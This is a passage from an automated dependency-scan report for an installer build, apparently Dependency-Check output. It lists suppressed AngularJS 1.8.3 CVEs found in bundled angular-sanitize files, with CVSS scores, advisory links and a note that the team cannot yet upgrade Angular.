- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:windows:\*:\*

#### **CVE-2025-2336** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaXx/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

#### **CVE-2025-4690** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-0716** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

**End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021** (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

## remotegui.zip: angular-sanitize.jar: angular-sanitize.js

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/remotegui.zip/angular-sanitize.jar/META-INF/resources/webjars/angular-sanitize/1.8.3/angular-sanitize.js

**MD5:** 0127d7a139abfc8bd45875a9c8ea6348

**SHA1:** 197aea2acc25a0fa821766400950cac58a3627a5

**SHA256:** c84c65250afe5a1265f36a7e16c6010652e55c2ae3a779c351fb68536c42bf64

**Referenced In Project/Scope:** CoWorkInstaller

### Evidence



### Suppressed Identifiers

- None

## Suppressed Vulnerabilities

### [CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER\_FORMATS.PATTERNS[1].posPre with a very high value.  
\*\*Note:\*\* 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap\_select\_deploy\_administration\_utility:\*:\*:\*:\*:\*

### [CVE-2024-21490](#) suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With

large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [angular/core](https://www.npmjs.com/package/@angular/core).

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:\*:\*:\*:\*:\* versions from (including) 1.3.0

[CVE-2022-25869](#) suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN\\_LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\*.\*

[CVE-2023-26116](#) suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\*.\* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>



- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qgx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.0.0; versions up to (including) 1.8.3

[CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed



Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:\*:\*:\*:\*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:\*:\*:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:windows:\*:\*

[CVE-2024-8373](#) suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>

- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:linux:\*.\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:vsphere:\*.\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:windows:\*.\*

**CVE-2025-2336** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaxX/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-4690** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-0716** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

**End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021** (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

## remotegui.zip: angular-sanitize.jar: angular-sanitize.min.js

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/remotegui.zip/angular-sanitize.jar/META-INF/resources/webjars/angular-sanitize/1.8.3/angular-sanitize.min.js

**MD5:** f3c62abeec216e9431e7d5b22d8e813b

**SHA1:** 21355ef18c5e1ce2b2c711b9dba21cbea0655646

**SHA256:** cc80a30ad0439c2e9c209b3d7fcffb1d10e6007fd1d00c9cc144f393664a7045

**Referenced In Project/Scope:** CoWorkInstaller

### Evidence



### Suppressed Identifiers

- None

### Suppressed Vulnerabilities



[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER\_FORMATS.PATTERNS[1].posPre with a very high value.  
\*\*Note:\*\* 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFPWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFPWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap\_select\_deploy\_administration\_utility:\*:\*:\*:\*:\*

#### **CVE-2024-21490** suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [[@angular/core](https://www.npmjs.com/package/@angular/core)](<https://www.npmjs.com/package/@angular/core>).

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:\*:\*:\*:\*:\* versions from (including) 1.3.0

#### **CVE-2022-25869** suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN\\_LINK](#)
